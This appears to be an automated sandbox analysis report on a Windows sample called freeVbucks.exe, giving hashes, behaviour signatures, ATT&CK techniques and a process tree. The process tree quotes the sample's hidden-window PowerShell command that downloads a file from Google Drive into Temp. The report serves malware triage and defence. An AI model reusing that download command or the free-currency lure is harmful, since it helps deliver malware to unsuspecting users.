ec8d1bca14f2e725ae993cca2456b21bdafa6ca82a7edee2dffe1fe4590cea21

Analysis

max time kernel
150s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/06/2026, 15:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
freeVbucks.exe
Size 706KB
Sample260623-sr53dsdz6s
SHA256 ec8d1bca14f2e725ae993cca2456b21bdafa6ca82a7edee2dffe1fe4590cea21
MD5 cbbf3fb48230f348e1c21fe9db4ed8f2
SHA1 f9cd6a98f24725cf824dd4096d8803acd8e68d74
SHA512 243ef6788fd8845bfa9cdbb4f27a5740b95aa81c0985f566db05371b6047f64d408b1d8458c03d2880e9adfec8b192b3f259fb708b562832c031e1974fe32e7f
SSDEEP 12288:oU+9H3900EJqrekLEyTYQcDL/TNuUCziP6VFGO5lrEaKYNtcBvAuvlee2NCFbLkk:oU+9XNrenyktDLdYNtcdvQNC9wHAP5cU
TLSH
T190F4AD61F69A41F6E9D1347011BAE7325939EE762334BAC3BBA43D7809311C2AD3934D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5976	powershell.exe
3	5976	powershell.exe
5	5976	powershell.exe
6	5976	powershell.exe
8	5976	powershell.exe
9	5976	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5976	powershell.exe
5976	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	drive.google.com

System Location Discovery: System Language Discovery 1 TTPs 55 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	freeVbucks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5976	powershell.exe
5976	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5620	freeVbucks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5976	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5620	freeVbucks.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
5620	freeVbucks.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5620	freeVbucks.exe
5620	freeVbucks.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 5620 wrote to memory of 5976	5620	freeVbucks.exe	88
PID 5620 wrote to memory of 4460	5620	freeVbucks.exe	91
PID 5620 wrote to memory of 3464	5620	freeVbucks.exe	93
PID 5620 wrote to memory of 2672	5620	freeVbucks.exe	95
PID 5620 wrote to memory of 5912	5620	freeVbucks.exe	97
PID 5620 wrote to memory of 1092	5620	freeVbucks.exe	99
PID 5620 wrote to memory of 1672	5620	freeVbucks.exe	101
PID 5620 wrote to memory of 5228	5620	freeVbucks.exe	103
PID 5620 wrote to memory of 4252	5620	freeVbucks.exe	105
PID 5620 wrote to memory of 2528	5620	freeVbucks.exe	107
PID 5620 wrote to memory of 2052	5620	freeVbucks.exe	109
PID 5620 wrote to memory of 3780	5620	freeVbucks.exe	111
PID 5620 wrote to memory of 5968	5620	freeVbucks.exe	113
PID 5620 wrote to memory of 3172	5620	freeVbucks.exe	115
PID 5620 wrote to memory of 5036	5620	freeVbucks.exe	117
PID 5620 wrote to memory of 3960	5620	freeVbucks.exe	119
PID 5620 wrote to memory of 3908	5620	freeVbucks.exe	121
PID 5620 wrote to memory of 1292	5620	freeVbucks.exe	123
PID 5620 wrote to memory of 6036	5620	freeVbucks.exe	125
PID 5620 wrote to memory of 3444	5620	freeVbucks.exe	127
PID 5620 wrote to memory of 5096	5620	freeVbucks.exe	129
PID 5620 wrote to memory of 3404	5620	freeVbucks.exe	131
PID 5620 wrote to memory of 5208	5620	freeVbucks.exe	133
PID 5620 wrote to memory of 4340	5620	freeVbucks.exe	135
PID 5620 wrote to memory of 5684	5620	freeVbucks.exe	137
PID 5620 wrote to memory of 2792	5620	freeVbucks.exe	139
PID 5620 wrote to memory of 4228	5620	freeVbucks.exe	141
PID 5620 wrote to memory of 4076	5620	freeVbucks.exe	143
PID 5620 wrote to memory of 2248	5620	freeVbucks.exe	145
PID 5620 wrote to memory of 1364	5620	freeVbucks.exe	147
PID 5620 wrote to memory of 1504	5620	freeVbucks.exe	149
PID 5620 wrote to memory of 844	5620	freeVbucks.exe	151
PID 5620 wrote to memory of 2604	5620	freeVbucks.exe	153
PID 5620 wrote to memory of 476	5620	freeVbucks.exe	155
PID 5620 wrote to memory of 4152	5620	freeVbucks.exe	157
PID 5620 wrote to memory of 3276	5620	freeVbucks.exe	159
PID 5620 wrote to memory of 2504	5620	freeVbucks.exe	161
PID 5620 wrote to memory of 5640	5620	freeVbucks.exe	163
PID 5620 wrote to memory of 6128	5620	freeVbucks.exe	165
PID 5620 wrote to memory of 3044	5620	freeVbucks.exe	167
PID 5620 wrote to memory of 1800	5620	freeVbucks.exe	169
PID 5620 wrote to memory of 3048	5620	freeVbucks.exe	171
PID 5620 wrote to memory of 6096	5620	freeVbucks.exe	173
PID 5620 wrote to memory of 2708	5620	freeVbucks.exe	175
PID 5620 wrote to memory of 5672	5620	freeVbucks.exe	177
PID 5620 wrote to memory of 1816	5620	freeVbucks.exe	179
PID 5620 wrote to memory of 2508	5620	freeVbucks.exe	181
PID 5620 wrote to memory of 2692	5620	freeVbucks.exe	183
PID 5620 wrote to memory of 3948	5620	freeVbucks.exe	185
PID 5620 wrote to memory of 6156	5620	freeVbucks.exe	187
PID 5620 wrote to memory of 6216	5620	freeVbucks.exe	189
PID 5620 wrote to memory of 6276	5620	freeVbucks.exe	191
PID 5620 wrote to memory of 6336	5620	freeVbucks.exe	193
PID 5620 wrote to memory of 6396	5620	freeVbucks.exe	195

C:\Users\Admin\AppData\Local\Temp\freeVbucks.exe
"C:\Users\Admin\AppData\Local\Temp\freeVbucks.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5620
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://drive.google.com/uc?export=download&id=1hJUbrNjnnBcDieo3t5acZFI8f-yCi7q_' -OutFile 'C:\Users\Admin\AppData\Local\Temp\kingvon.mp3' -Headers @{ 'User-Agent' = 'Mozilla/5.0' }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5976
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4460
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3464
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2672
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5912
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1092
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1672
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5228
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4252
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2528
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2052
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3780
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5968
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3172
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5036
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3960
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3908
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1292
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6036
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3444
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5096
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3404
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5208
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4340
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5684
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2792
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4228
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4076
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2248
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1364
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1504
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:844
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2604
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:476
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4152
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3276
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2504
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5640
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6128
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3044
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1800
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3048
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6096
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2708
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5672
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1816
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2508
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2692
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3948
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6156
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6216
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6276
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6336
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6396

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/5976-2-0x0000000073462000-0x0000000073463000-memory.dmp

Download

memory/5976-3-0x0000000005130000-0x0000000005166000-memory.dmp

Download

memory/5976-4-0x0000000073450000-0x0000000073C0C000-memory.dmp

Download

memory/5976-5-0x00000000058A0000-0x0000000005EEA000-memory.dmp

Download

memory/5976-6-0x0000000073450000-0x0000000073C0C000-memory.dmp

Download

memory/5976-7-0x0000000005610000-0x0000000005632000-memory.dmp

Download

memory/5976-8-0x0000000005F60000-0x0000000005FC6000-memory.dmp

Download

memory/5976-9-0x0000000005FD0000-0x0000000006036000-memory.dmp

Download

memory/5976-12-0x0000000006040000-0x000000000639B000-memory.dmp

Download

memory/5976-13-0x00000000064E0000-0x00000000064FE000-memory.dmp

Download

memory/5976-14-0x0000000006530000-0x000000000657C000-memory.dmp

Download

memory/5976-15-0x0000000007D30000-0x00000000083AC000-memory.dmp

Download

memory/5976-16-0x0000000006A30000-0x0000000006A4A000-memory.dmp

Download

memory/5976-17-0x0000000073462000-0x0000000073463000-memory.dmp

Download

memory/5976-18-0x0000000073450000-0x0000000073C0C000-memory.dmp

Download

memory/5976-22-0x0000000073450000-0x0000000073C0C000-memory.dmp

Download